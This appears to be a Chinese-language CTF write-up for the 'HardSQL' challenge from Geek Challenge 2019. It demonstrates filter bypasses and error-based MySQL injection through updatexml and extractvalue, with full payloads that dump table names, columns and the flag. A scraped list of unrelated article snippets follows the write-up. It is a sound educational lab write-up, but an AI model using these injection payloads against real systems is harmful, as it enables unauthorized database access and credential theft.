非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)
题目环境:
没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了
做了好多这个作者出的题了,看来又要上强度了
判断注入类型
username:admin
password:1
这里把参数password作为注入点

1'
单引号的字符型注入
万能密码注入1' or '1'='1
万能密码注入被链接
猜测某些字符或者关键字被过滤
SQL注入字典查过滤字符
Intruder字典爆破
光标选中参数password的值1-Add选择爆破目标
选用字典
Start attack开始爆破
OK
爆破结果:
741为过滤内容
可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤
继续测试
admin
1’ or


可以看到被拦截了
通过刚才的字典爆破,可以知道1’和or是没有被过滤的
那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙
刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制
空格限制
admin
1’(or)

like没有被过滤,使用like可以绕过=号,like <=> =
重新构造万能密码1'or((1)like(1))#

可以看到绕过了空格限制
同时也登陆成功了
然后想到了之前做过很类似的一道题
SQL报错注入也用到了空格限制
(已经试了堆叠注入和联合注入都不行)
这里就索性试一下SQL报错注入
知识一、
SQL报错注入常用函数
两个基于XPAT(XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数
首先使用updatexml()函数进行SQL报错注入
爆库1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
得到库名geek
查表1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
得到数据表H4rDsq1
爆字段1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
得到三个字段:id、username、password
查字段内容1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
得到前一半flag值flag{389c9161-c2eb-403a-80
使用right()突破字符限制1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
得到后一段flag值b-403a-8062-80f219ca1c30}
拼接得到最终flag:flag{389c9161-c2eb-403a-8062-80f219ca1c30}
使用extractvalue()函数进行SQL报错注入
知识:^这个符号可以绕过or的限制
这两种函数大同小异,不再赘述
当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
大家可以看下边进行对比学习
1'^extractvalue(1,concat(0x7e,(select(database()))))#

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

好了大家已经明显看到了^和()绕过不同限制的区别
那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
使用right()突破字符限制1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
拼接得到最终flag:flag{389c9161-c2eb-403a-8062-80f219ca1c30}
相关文章:
非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)
题目环境: 没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了 做了好多这个作者出的题了,看来又要上强度了 判断注入类型 username:a…...
创建一个用户test且使用testtab表空间及testtemp临时表空间并授予其权限,密码随意
文章目录 1、连接到数据库2、创建表空间3、创建用户4、授予权限5、测试 1、连接到数据库 sqlplus / as sysdba2、创建表空间 创建testtab表空间 CREATE TABLESPACE testtab DATAFILE /u01/app/oracle/oradata/orcl/testtab.dbf SIZE 50M AUTOEXTEND ON NEXT 5M MAXSIZE …...
Linux网络应用层协议之http/https
文章目录 目录 一、http协议 1.URL 2.http协议格式 3.http的方法 4.http的状态码 5.http常见header 6.实现一个http服务器 二、https协议 1.加密 2.为什么要加密 3.常见的加密方式 对称加密 非对称加密 4.https的工作过程探究 方案1 只使用对称加密 方案2 只使…...
LLM(四)| Chinese-LLaMA-Alpaca:包含中文 LLaMA 模型和经过指令微调的 Alpaca 大型模型
论文题目:《EFFICIENT AND EFFECTIVE TEXT ENCODING FOR CHINESE LL AMA AND ALPACA》 论文地址:https://arxiv.org/pdf/2304.08177v1.pdf Github地址:https://github.com/ymcui/Chinese-LLaMA-Alpaca 一、项目介绍 通过在原有的LLaMA词…...
虚拟机CentOS 8 重启后不能上网
情况说明:原本虚拟机是可以上网的,然后嘚一下,重启后,连接不上网络,完了,上网查找一堆质料,我的连接方式是桥接模式(复制物理网络连接状态)。 好,有人说是vmn…...
让AI拥有人类的价值观,和让AI拥有人类智能同样重要
编者按:2023年是微软亚洲研究院建院25周年。25年来,微软亚洲研究院探索并实践了一种独特且有效的企业研究院的新模式,并以此为基础产出了诸多对微软公司和全球社会都有积极影响的创新成果。一直以来,微软亚洲研究院致力于创造具有…...
《C++避坑神器·十七》找到程序崩溃Bug的一个实用方法:dump调试
在检查程序报错除了断点调试,生成log日志,还有种直接的方法,调试dump文件,该调试方法可以在运行exe程序崩溃时进行调试。文章末尾有下载链接。 头文件 #include "crashdump.h"在mainWindow或主程序最开始处加下面代码…...
ROS stm32 CAN通信
文章目录 运行环境:原理1.1 ros中的代码1)socketcan_bridge2)测试的ros-python包3)keil5中数据解析4)USB-CAN连接5)启动指令 运行环境: ubuntu18.04.melodic STM32:DJI Robomaster C板 ROS:18.04 硬件:USB-CAN&#x…...
简单地聊一聊Spring Boot的构架
前言 本文小编将详细解析Spring Boot框架,并通过代码举例说明每个层的作用。我们将深入探讨Spring Boot的整体架构,包括展示层、业务逻辑层和数据访问层。通过这些例子,读者将更加清晰地了解每个层在应用程序中的具体作用。通过代码实例&…...
【算法】复习搜索与图论
🍎 博客主页:🌙披星戴月的贾维斯 🍎 欢迎关注:👍点赞🍃收藏🔥留言 🍇系列专栏:🌙 蓝桥杯 🌙请不要相信胜利就像山坡上的蒲公英一样唾手…...
【KCC@南京】KCC南京数字经济-开源行
一场数字经济与开源的视听盛宴,即将于11月26日,在南京举办。本次参与活动的有: 庄表伟(开源社理事执行长、天工开物开源基金会执行副秘书长)、林旅强Richard(开源社联合创始人、前华为开源专家)…...
苍穹外卖-day11
苍穹外卖-day11 课程内容 Apache ECharts营业额统计用户统计订单统计销量排名Top10 功能实现:数据统计 数据统计效果图: 1. Apache ECharts 1.1 介绍 Apache ECharts 是一款基于 Javascript 的数据可视化图表库,提供直观,生…...
git_07_协同开发
1.作业回复 干的什么事?动了哪些东西? 文档作业xxx文档已编写完成,相关svn目录:xxx/xxx/xxx代码作业(Git代码提交规范)具体什么问题,影响范围,是否已经解决: feat(xxx):改动描述 perf(xxx):改动…...
对比国内主流开源 SQL 审核平台 Yearning vs Archery
Yearning, Archery 和 Bytebase 是目前国内最主流的三个开源 SQL 审核平台。其中 Yearning 和 Archery 是社区性质的项目,而 Bytebase 则是商业化产品。通常调研 Bytebase 的用户也会同时比较 Yearning 和 Archery。 下面我们就来展开对比一下 Yearning 和 Archery…...
Mistral 7B 比Llama 2更好的开源大模型 (三)
Mistral 7B 比Llama 2更好的开源大模型 Mistral 7B是一个70亿参数的语言模型,旨在获得卓越的性能和效率。Mistral 7B在所有评估的基准测试中都优于最好的开放13B模型(Llama 2),在推理、数学和代码生成方面也优于最好的发布34B模型(Llama 1)。Mistral 7B模型利用分组查询注…...
关于 Git 你了解多少?
1. 什么是Git? Git 是一个版本控制系统,由林纳斯托瓦兹创建。它旨在管理项目代码的更改,以便团队成员可以协作开发和维护代码库。Git 可以让用户跟踪代码的更改、回滚错误的更改、合并代码等。Git 还具有分支和标签的功能,使得团队成员可以在…...
关于Elasticsearch的自动补全、数据同步和集群,以下是相关的知识点
1. 自动补全:Elasticsearch可以通过自动补全功能帮助用户快速查找相关的内容。它使用了一种称为“completion suggester”的功能来实现自动补全,是一种基于前缀的建议查询,可以在用户输入时提供实时建议。 2. 数据同步:Elasticse…...
linux套接字-Socket
1.概念 局域网和广域网 局域网:局域网将一定区域内的各种计算机、外部设备和数据库连接起来形成计算机通信的私有网络。广域网:又称广域网、外网、公网。是连接不同地区局域网或城域网计算机通信的远程公共网络。IPInternet Protocol)&#…...
debian 修改镜像源为阿里云【详细步骤】
文章目录 修改步骤第 1 步:安装 vim 软件第 2 步:备份源第 3 步:修改为阿里云镜像参考👉 背景:在 Docker 中安装了 jenkins 容器。查看系统,发现是 debian 11(bullseye)。 👉 目标:修改 debian bullseye 的镜像为阿里云镜像,加速软件安装。 修改步骤 第 1 步:…...
从0到0.01入门React | 004.精选 React 面试题
🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云课上架的前后端实战课程《Vue.js 和 Egg.js 开发企业级健康管理项目》、《带你从入…...
OpenClaw+Qwen3-14b_int4_awq:3种降低token消耗的实战技巧
OpenClawQwen3-14b_int4_awq:3种降低token消耗的实战技巧 1. 为什么我们需要关注token消耗 第一次看到OpenClaw的token账单时,我差点从椅子上跳起来。一个简单的文件整理任务竟然消耗了接近5000个token,这还只是测试环境下的单次运行。当我…...
人脸识别快速上手:Retinaface+CurricularFace镜像教程,简单易学
人脸识别快速上手:RetinafaceCurricularFace镜像教程,简单易学 1. 理解人脸识别黄金组合 在开始动手之前,我们先花两分钟了解Retinaface和CurricularFace这对黄金搭档: Retinaface:就像一位专业的摄影师,…...
C标准库缓冲区溢出问题与安全编程实践
1. C标准库缓冲区溢出问题概述缓冲区溢出是C语言开发中最常见的安全漏洞之一。作为一名有十年经验的嵌入式开发者,我见过太多由于不当使用标准库函数导致的崩溃和安全问题。缓冲区溢出通常发生在程序向固定大小的缓冲区写入超过其容量的数据时,多余的数据…...
Wan2.2-I2V-A14B部署教程:混合云架构下边缘节点视频生成能力下沉
Wan2.2-I2V-A14B部署教程:混合云架构下边缘节点视频生成能力下沉 1. 镜像概述与核心价值 Wan2.2-I2V-A14B私有部署镜像是一款专为文生视频场景优化的解决方案,特别适合需要在边缘节点部署视频生成能力的企业用户。这个镜像最大的特点是"开箱即用&…...
OpenClaw小龙虾初体验【安装学习】
文章目录一、前言二、安装三、360安全龙虾四、腾讯龙虾4.1 文件移动4.2 应用分析4.3 Docker失败原因一、前言 最近小龙虾很火,不禁能说还能做,本质就类似木马,获取电脑权限,不禁能操作各应用还能联动外接设备。 那肯定要学习一下…...
从原理到代码:固高GTS控制卡SmartHome回零功能完整开发指南(附C#示例)
从原理到代码:固高GTS控制卡SmartHome回零功能完整开发指南(附C#示例) 在工业自动化领域,运动控制系统的精度和可靠性往往取决于一个看似简单却至关重要的功能——回零操作。作为固高GTS系列控制卡的核心功能之一,Smar…...
PyTorch 2.8开源镜像实操:使用Pandas+NumPy高效处理百万级视频元数据
PyTorch 2.8开源镜像实操:使用PandasNumPy高效处理百万级视频元数据 1. 为什么选择PyTorch 2.8镜像处理视频元数据 在视频内容爆炸式增长的今天,处理百万级视频元数据已经成为许多开发者和数据科学家的日常需求。传统方法在处理大规模视频元数据时常常…...
SEO_本地中小企业快速见效的SEO操作指南(345 )
SEO:本地中小企业快速见效的SEO操作指南 在当今数字化时代,本地中小企业如何在竞争激烈的市场中脱颖而出,是每一个企业主都需要面对的问题。本文将从多个角度为你详细解析如何通过SEO(搜索引擎优化)让本地中小企业迅速见效。 问…...
根据以上内容,可拟定的标题为:“MATLAB仿真复现光纤激光器中耗散孤子共振DSR的演化过程:...
MATLAB仿真复现耗散孤子共振DSR 根据谱方法求解复立方五次方金兹堡朗道方程 获得光纤激光器中耗散孤子的演化过程耗散孤子共振光纤激光器仿真平台:从 Ginzburg-Landau 方程到多维度脉冲演化分析—— 一套可扩展、可配置、可动画的 MATLAB 谱方法框架一、背景与需求高…...
重构求职效率:boss_batch_push批量投递工具的颠覆性价值
重构求职效率:boss_batch_push批量投递工具的颠覆性价值 【免费下载链接】boss_batch_push Boss直聘批量投简历,解放双手 项目地址: https://gitcode.com/gh_mirrors/bo/boss_batch_push boss_batch_push是一款专为Boss直聘平台设计的开源自动化投…...
